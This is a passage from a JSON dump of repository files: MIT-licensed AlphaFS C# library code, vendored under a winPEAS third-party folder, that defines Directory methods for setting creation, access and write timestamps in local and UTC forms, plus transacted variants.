name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the access date and time information.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastAccessTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTimeUtc, null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastWriteTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Sets the date and time that the specified directory was last written to.</summary>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTime(string path, DateTime lastWriteTime)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last written to.</summary>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastWriteTime(string path, DateTime lastWriteTime, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), false, pathFormat);\n      }\n      \n\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last written to.</summary>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTime(string path, DateTime lastWriteTime, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last written to.</summary>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastWriteTime(string path, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastWriteTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time that the specified directory was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeTransacted(KernelTransaction transaction, string path, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastWriteTimeUtc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to.</summary>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n      \n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to.</summary>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to.</summary>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to.</summary>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeUtc(string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastWriteTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the specified directory was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the date and time information.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, false, path, null, null, lastWriteTimeUtc, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetTimestamps.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified directory, at once.</summary>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      [SecurityCritical]\n      public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime)\n      {\n         File.SetFsoDateTimeCore(null, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified directory, at once.</summary>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified directory, at once.</summary>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(null, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified directory, at once.</summary>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetTimestamps(string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat);\n      }\n\n\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once.</summary>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      [SecurityCritical]\n      public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc)\n      {\n         File.SetFsoDateTimeCore(null, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once.</summary>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once.</summary>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(null, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once.</summary>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(null, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, pathFormat);\n      }\n\n\n      #region Transactional\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified directory, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local 